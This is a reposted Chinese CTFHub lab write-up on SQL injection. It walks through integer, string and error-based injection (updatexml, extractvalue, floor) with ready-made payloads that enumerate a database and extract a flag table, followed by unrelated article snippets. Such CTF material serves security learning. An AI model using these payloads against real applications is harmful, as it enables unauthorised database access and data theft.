CTFHub(web SQL注入)

CTFHub技能树 Web-SQL注入 详解_666c6167-CSDN博客

Ctfhub - web -- SQL注入_ctfhub sql注入-CSDN博客

整数型注入

方法一

根据提示输入1,

闭合方式就是 1 ,整数型

存在两列,这里已经给出了字段,不需要再order by了

爆出数据库名和版本。

-1 union select version(),database()

有information_schema,发现是高版本

查库名

-1 union select 1, group_concat(table_name) from information_schema.tables where table_schema='sqli'

查flag下的字段名

-1 union select 1, group_concat(column_name) from  information_schema.columns where table_schema='sqli' and table_name='flag'#

拿数据

-1 union select 1, group_concat(flag) from flag


方法二

ctfhub技能树web--sql注入_ctfhub技能树报错注入-CSDN博客

1.判断注入点

用1 and 1=1和1 and 1=2进行测试

SELECT * FROM uers WHERE id=1 and 1=1 LIMIT 1,0;

SELECT * FROM uers WHERE id=1 and 1=2 LIMIT 1,0;

页面回显不一样,则证明该注入点存在sql injection漏洞

2.判断列数

使用order by语句进行测试:1 order by 1、1 order by 2等,直到报错为止,报错的前一个数,为字段数。

判断列数的原因:
要使用联合查询注入获取数据库的敏感数据库,前提是两个结果集合的列数相同,所以要判断...?id=1这个语句在数据库中返回几列,也就是SELECT * FROM uers WHERE id=1 and 1=2 LIMIT 1,0这个语句的数据结果集有几列,然后才可以用union进行联合查询

SELECT * FROM uers WHERE id=1 order by 1 LIMIT 1,0;

SELECT * FROM uers WHERE id=1 order by 2 LIMIT 1,0;

以下为构造poc(轮子)过程
注意:要让union前一个语句不成立才能让union后的select语句的结果在前端显示出来

3.判断哪一列是报错点

(哪一列会在前端显示的数据)

输入1 and 1=2 union select 1,2 (或者-1 union select 1,2)

扩展:
(1)可以用以下数据库函数获取相应的信息
* user() 当前用户名
* database() 当前数据库明
* version() 当前版本
(2)可以用concat()或concat_ws()或group_concat()—[见数据库连接语句]----使得在sql注入时快速获得数据库的相关信息

4.从当前数据库(默认)获取当前数据库名、用户名等信息

数据库

1 and 1=2 union select 1,concat-ws('>',database(),version(),user())

5.从元数据库查出当前数据库的所有表名

1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

6.从元数据库查出当前数据库下的某个表下的所有列名

1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'

7.从当前数据库下的某个表中的查某一列的信息

1 and 1=1 union select 1,concat_ws('>',flag) from flag

字符型注入

CTFHub (web-SQL-字符型注入)_ctfhub字符型-CSDN博客


判断注入类型

根据提示,输入数字1

返回可以看到‘1’被双引号包围,这里可以借助注释符#或- -空格或/**/

使用#将后面的单引号注释掉

1'#

判断列数

1' order by 1 , 2 # 

1' order by 1 , 2 , 3 #

在第三列发现无法显示,说明只有两列

判断注入点

显示位,判断显示的信息是第几列的信息

-1' union select 1 , 2#

1为ID,2为Data,(Data也就是我们想要查询的数据)

查询数据库信息

1.查询用户

-1' union select 1 , user() #

2.查询数据库版本

-1' union select 1 , version() #

3.查询数据库名称

-1' union select 1 , database() #
  

爆库

查询所有数据库名称

1.使用limit一条一条查询数据库名称

第四条

-1' union select 1 , (select schema_name from information_schema.schemata limit 3,1) #

第五条

-1' union select 1 , (select schema_name from information_schema.schemata limit 4,1) #

查询第五条时发现已经没有数据,说明一共有四个数据库名

2.使用group_concat()一次性查询全部数据库名称

-1' union select 1,group_concat(schema_name) from information_schema.schemata #

爆表

查询数据库中的表名

1.用limit一条条爆出表名

-1' union select 1 , (select table_name from information_schema.tables where table_schema='sqli' limit 0,1) #

-1' union select 1 , (select table_name from information_schema.tables where table_schema='sqli' limit 1,1) #

-1' union select 1 , (select table_name from information_schema.tables where table_schema='sqli' limit 2,1) #

2.使用group_concat()一次性爆出所有表名

(1)

-1' union select table_schema, group_concat(table_name) from information_schema.tables where table_schema='sqli' #

(2)

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

爆字段名

查询指定数据库中指定表的字段名

1.用limit一列一列爆出字段名

(1)

-1' union select 1 , (select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1) #

(2)

-1' union select 1 , (select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 1,1) #

2.使用group_concat()一次性爆出所有字段名

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'#

爆内容

查询指定数据库中指定表的字段名的内容

1.用limit一列一列爆出字段名中的内容

-1' union select 1,(select flag from flag) #

2.使用group_concat()一次性爆出所有字段名中的内容

-1' union select 1 , group_concat(flag) from flag #

报错注入

CTFHUB——SQL 报错注入三种方法全解_ctfhub报错注入-CSDN博客

CTFHUB-SQL注入-报错注入-CSDN博客

方法一

selcet

输入1

返回查询正确

输入1'

报错,进行报错输入

使用函数是updatemxl(1,2,3)

MySQL提供了一个 updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。,特殊符号我们选择 ~ 0x7e

查询库名

1 and updatexml(1,concat(0x7e,database()),3)

发现库名 sqli,对表名进行爆破

1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='sqli')),3)

爆破出表名,对字段进行爆破

1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='sqli'and table_name='flag')),3)

得到字段flag,进行查询

1 and updatexml(1,concat(0x7e,(select group_concat(flag)from sqli.flag)),3)

得到flag

方法二

利用extractvalue来xpath报错

1 and (select extractvalue(1, concat(0x7e, (select database()))))

1 and (select extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema= 'sqli'))))

1 and (select extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name= 'flag'))))

1 and (select extractvalue(1, concat(0x7e, (select flag from flag))))

得到后的flag缺少了一个“}”

补全后即可提交

方法三

利用floor来group by主键重复报错

1 union select count(*), concat((select database()), floor(rand(0)*2)) x from news group by x

1 union select count(*), concat((select table_name from information_schema.tables where table_schema='sqli' limit 1,1), floor(rand(0)*2)) x from news group by x

1 union select count(*), concat((select column_name from information_schema.columns where table_name='flag' limit 0,1), floor(rand(0)*2)) x from news group by x

1 union select count(*), concat((select flag from flag limit 0,1), floor(rand(0)*2)) x from news group by x

得到flag

得到后的flag缺少了一个“}”

补全后即可提交

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/284.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

PotCSS

PotCSS 是一个基于 CSS 的编程风格,它鼓励使用更模块化和可重用的方法来编写 CSS 代码。PotCSS 的核心理念是将 CSS 代码组织成单独的、独立的“pot”(即“罐子”或“容器”),每个 pot 包含一组相关的样式,这些样式可以…

【gradle】idea创建的gradle项目每个mudule有多余的iml文件

idea创建的gradle项目每个mudule有多余的iml文件 比如: module_name.iml module_name.main.iml module_name.test.iml 文件&#xff0c;而且每个module都有。 只需要在项目根目录的.idea文件夹下的gradle.xml文件添加<option name"resolveModulePerSourceSet" va…

yolov7模型输出层预测方法解读

本文从代码的角度分析模型训练阶段输出层的预测包括以下几个方面&#xff1a; 标注数据&#xff08;下文统称targets&#xff09;的正样本分配策略&#xff0c;代码实现位于find_3_positive。候选框的生成&#xff0c;会介绍输出层的预测值、GT、grid、 anchor之间的联系损失函…

算法练习第20天|回溯算法 77.组合问题 257. 二叉树的所有路径

1.什么是回溯算法&#xff1f; 回溯法也可以叫做回溯搜索法&#xff0c;它是一种搜索的方式。其本质是穷举&#xff0c;穷举所有可能&#xff0c;然后选出我们想要的答案。 2.为什么要有回溯算法? 那么既然回溯法并不高效为什么还要用它呢&#xff1f; 因为有的问题能暴力…

Hive进阶(2)----HDFS写入数据流程(赋图助君理解)

HDFS写入数据流程 一、写入流程 1、 Client向NameNode发起RPC请求&#xff0c;来确定请求文件block所在的位置&#xff1b; 2、 NameNode会视情况返回文件的部分或者全部block列表&#xff0c;对于每个block&#xff0c;NameNode都会返回含有该block副本的DataNode地址&…

Ubuntu22.04.4 - 网络配置 - 笔记

一、设置固定ip 1、cd /etc/netplan 查看文件夹下的配置文件 我这里叫 00-installer-config.yaml 2、sudo nano /etc/netplan/00-installer-config.yaml 完成配置后&#xff0c;按下Ctrl O保存更改&#xff0c;然后按下Ctrl X退出nano编辑器。 3、sudo netplan apply 4、ip …

ProtoBuf、Grpc、GORM、Go-redis 入门基础

一、ProtoBuf、Grpc ProtoBuf定义&#xff1a;protocol buffers 是一种语言无关、平台无关、可扩展的序列化结构数据的方法&#xff0c;它可用于&#xff08;数据&#xff09;通信协议、数据存储等。 说白了&#xff0c;可以将ProtoBuf文件 当作支持语言的代码交换工具 Grpc…

前端开发攻略---合并表格单元格,表格内嵌套表格实现手风琴效果。

1、演示 2、思路 1、用传统的 <table></table> 表格标签来实现比较麻烦。因此通过模拟 表格标签 的写法用<div></div>来实现 2、表头和表格列数是相同的&#xff0c;因此可以确定代码结构 <div class"table"><div class"head…

PotPlayer 图像截取

PotPlayer 图像截取 1. PotPlayer2. PotPlayer 下载2.1. PotPlayer 240305 3. 图像截取References 1. PotPlayer http://www.potplayercn.com/ PotPlayer 是 KMPlayer 原作者姜勇囍进入新公司 Daum 之后推出的&#xff0c;继承了 KMPlayer 所有的优点&#xff0c;拥有异常强大…

Rust常见陷阱 | 算术溢出导致的 panic

Rust作为一种内存安全性语言,对于算术运算中的溢出处理特别严格。由于Rust默认会在debug模式下进行算术操作的溢出检查,任何溢出行为都会导致panic,这样能够帮助开发者在调试阶段发现潜在的溢出错误。尽管在release模式下,溢出会导致值的截断,并不会引起panic,但忽视这一…

Flask项目在Pycharm中设置局域网访问

打开PyCharm导入本应用。点击Run标签中的Edit Configurations 其中Target type选择Script path&#xff0c;Target填入本项目中app.py的路径&#xff0c;Additional optional填入--host0.0.0.0(不要有空格)。 再重新运行项目&#xff0c;会观察到除了原本的http://127.0.0.1:50…

【EI会议征稿通知】2024年图像处理、机器学习与模式识别国际学术会议(IPMLP 2024)

2024年图像处理、机器学习与模式识别国际学术会议&#xff08;IPMLP 2024) 2024 International Conference on Image Processing, Machine Learning and Pattern Recognition 重要信息 大会官网&#xff1a;www.ipmlp.net&#xff08;点击参会/投稿/了解会议详情&#xff09;…

用虚拟机搭建sqlmap靶机环境

要使用Virtual Machine (VM)搭建一个SQLMap靶机&#xff0c;您可以按照以下步骤进行&#xff1a; 第一步&#xff1a;准备虚拟机 选择虚拟化软件&#xff1a;您可以使用如VirtualBox、VMware Workstation等虚拟化软件来创建虚拟机。 创建虚拟机&#xff1a;在虚拟化软件中创建…

【赛题】2024年“华中杯”数模竞赛赛题发布

2024年"华中杯"数学建模网络挑战赛——正式开赛&#xff01;&#xff01;&#xff01; 赛题已发布&#xff0c;后续无偿分享各题的解题思路、参考文献&#xff0c;帮助大家最快时间&#xff0c;选择最适合是自己的赛题。祝大家都能取得一个好成绩&#xff0c;加油&a…

vue2指令

vue2指令 v-model 的工作原理&#xff0c;它如何在表单输入和应用状态之间创建双向绑定 v-model 是 Vue 中一个特殊的指令&#xff0c;用于在表单 <input>、<textarea> 及 <select> 元素上创建双向数据绑定。它根据控件类型自动选取正确的方法来更新元素。…

uiautomation、pytest、schedule实现桌面程序自动化(初级)02

一&#xff1a;安装uiAutomation 前置条件:安装python、pycharm 命令行安装 Pip install uiautomation2.0.17 #指定版本 二&#xff1a;安装辅助工具&#xff1a;inspect.exe和、Accessibility Insights For Windows定位元素工具 辅助工具介绍 步骤中提到…

Hive进阶(4)----MapReduce的计算过程(赋图助君理解)

MapReduce的计算过程 MapReduce是一种编程模型和处理大规模数据集的方法。它通常用于分布式计算环境中&#xff0c;能够将数据处理任务分解成独立的部分&#xff0c;分配给多台计算机进行并行处理。这个模型由Google提出&#xff0c;并在开源领域中得到了广泛的应用和实现。Map…

无法连接到MongoDB Atlas 的Cloud Database

打开Mongodb网页: 选择允许任何地址连接 连接成功

Docker容器嵌入式开发:在Ubuntu上配置RStudio与R语言、可视化操作

目录 一、dirmngr工具二、R环境安装与配置三、验证是否安装成功四、安装Rstudio五、可视化操作参考 以上是在Ubuntu 18.04上安装最新版本的R语言环境的步骤摘要。首先&#xff0c;通过添加CRAN镜像源并安装GPG密钥来配置软件源。然后&#xff0c;更新软件包列表并通过apt安装R语…

Ubuntu22.04.4 - vim - 笔记

一、编辑模式 1、进入 进入编辑模式: i 2、退出 退出编辑模式: Esc 二、命令行模式 1、进入 进入命令行&#xff0c;在退出编辑模式的情况下: : :wq 保存并退出、:q 不保存退出、 :q! 不保存强制退出 2、退出 退出编辑模式: Esc